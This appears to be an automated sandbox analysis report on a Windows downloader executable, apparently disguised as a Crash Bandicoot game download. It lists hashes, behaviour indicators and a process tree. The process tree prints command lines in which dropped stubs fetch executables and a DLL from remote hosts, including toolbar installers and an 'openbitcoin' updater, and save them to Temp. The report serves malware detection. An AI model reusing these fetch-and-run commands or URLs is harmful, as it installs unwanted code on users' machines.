12fe8f7a44e06f6ac44df3eedf2a7ca6b9b7be2076c19ffb4d0e6d25408a9b25

Analysis

max time kernel
146s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
11/01/2024, 22:12

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General

Target

54b7cbb49c2e664877d02044d04ea3a5.exe
Size

337KB
MD5

54b7cbb49c2e664877d02044d04ea3a5
SHA1

ee79547435835051dcdc023646ee6980093bd6c3
SHA256

12fe8f7a44e06f6ac44df3eedf2a7ca6b9b7be2076c19ffb4d0e6d25408a9b25
SHA512

236cb0de2bbb04ffc9741776d2502ef1878a14a65aa5c4ac1fbfe392813f95fa8a2a9afeb44cd2f5dda5520d46887207fdd61c0971d6a8b0afc046be76e5e499
SSDEEP

6144:Ic63Az3Bmpn2bPfBGGdNdVo9jj7awE1aW9SHyiIlPEizsUx4aU+pLCVQAAPNgbpE:mGRmpn2bB9dYn7a/1aW9AmRbx4h+pLaP

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 7 IoCs

pid	Process
2656	downloaderSTUB.exe
652	downloaderSTUB.exe
4416	downloaderSTUB.exe
4812	downloaderDDLR.exe
3932	downloaderOFFER1.exe
1496	downloaderOFFER1.exe
4112	preinstaller.exe

Loads dropped DLL 25 IoCs

pid	Process
652	downloaderSTUB.exe
4416	downloaderSTUB.exe
2656	downloaderSTUB.exe
4812	downloaderDDLR.exe
1496	downloaderOFFER1.exe
652	downloaderSTUB.exe
4416	downloaderSTUB.exe
2656	downloaderSTUB.exe
4812	downloaderDDLR.exe
1496	downloaderOFFER1.exe
652	downloaderSTUB.exe
4416	downloaderSTUB.exe
2656	downloaderSTUB.exe
4812	downloaderDDLR.exe
1496	downloaderOFFER1.exe
652	downloaderSTUB.exe
4416	downloaderSTUB.exe
2656	downloaderSTUB.exe
4812	downloaderDDLR.exe
1496	downloaderOFFER1.exe
652	downloaderSTUB.exe
4416	downloaderSTUB.exe
2656	downloaderSTUB.exe
4812	downloaderDDLR.exe
1496	downloaderOFFER1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral2/files/0x0006000000023227-14.dat	nsis_installer_1
behavioral2/files/0x0006000000023227-14.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 1940 wrote to memory of 2656	1940	54b7cbb49c2e664877d02044d04ea3a5.exe	29
PID 1940 wrote to memory of 2656	1940	54b7cbb49c2e664877d02044d04ea3a5.exe	29
PID 1940 wrote to memory of 2656	1940	54b7cbb49c2e664877d02044d04ea3a5.exe	29
PID 1940 wrote to memory of 652	1940	54b7cbb49c2e664877d02044d04ea3a5.exe	28
PID 1940 wrote to memory of 652	1940	54b7cbb49c2e664877d02044d04ea3a5.exe	28
PID 1940 wrote to memory of 652	1940	54b7cbb49c2e664877d02044d04ea3a5.exe	28
PID 1940 wrote to memory of 4416	1940	54b7cbb49c2e664877d02044d04ea3a5.exe	27
PID 1940 wrote to memory of 4416	1940	54b7cbb49c2e664877d02044d04ea3a5.exe	27
PID 1940 wrote to memory of 4416	1940	54b7cbb49c2e664877d02044d04ea3a5.exe	27
PID 1940 wrote to memory of 4812	1940	54b7cbb49c2e664877d02044d04ea3a5.exe	26
PID 1940 wrote to memory of 4812	1940	54b7cbb49c2e664877d02044d04ea3a5.exe	26
PID 1940 wrote to memory of 4812	1940	54b7cbb49c2e664877d02044d04ea3a5.exe	26
PID 1940 wrote to memory of 3932	1940	54b7cbb49c2e664877d02044d04ea3a5.exe	25
PID 1940 wrote to memory of 3932	1940	54b7cbb49c2e664877d02044d04ea3a5.exe	25
PID 1940 wrote to memory of 3932	1940	54b7cbb49c2e664877d02044d04ea3a5.exe	25
PID 1940 wrote to memory of 1496	1940	54b7cbb49c2e664877d02044d04ea3a5.exe	23
PID 1940 wrote to memory of 1496	1940	54b7cbb49c2e664877d02044d04ea3a5.exe	23
PID 1940 wrote to memory of 1496	1940	54b7cbb49c2e664877d02044d04ea3a5.exe	23
PID 1940 wrote to memory of 4112	1940	54b7cbb49c2e664877d02044d04ea3a5.exe	22
PID 1940 wrote to memory of 4112	1940	54b7cbb49c2e664877d02044d04ea3a5.exe	22
PID 1940 wrote to memory of 4112	1940	54b7cbb49c2e664877d02044d04ea3a5.exe	22

C:\Users\Admin\AppData\Local\Temp\54b7cbb49c2e664877d02044d04ea3a5.exe
"C:\Users\Admin\AppData\Local\Temp\54b7cbb49c2e664877d02044d04ea3a5.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1940
- C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\preinstaller.exe 0 "crashbandicoot1-2-3-crashteamracing-crashbash" "Download"
  2⤵
  - Executes dropped EXE
  PID:4112
- C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderOFFER1.exe
  C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/PricePeepInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\pricepeep.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1496
- C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderOFFER1.exe
  C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/GamesLeap79048.exe" /D "C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\volcano.exe"
  2⤵
  - Executes dropped EXE
  PID:3932
- C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4812
- C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4416
- C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:652
- C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2656

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderDDLR.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsc4DB3.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
memory/1940-46-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/4112-47-0x0000000000400000-0x0000000000446000-memory.dmp

Filesize
280KB

Download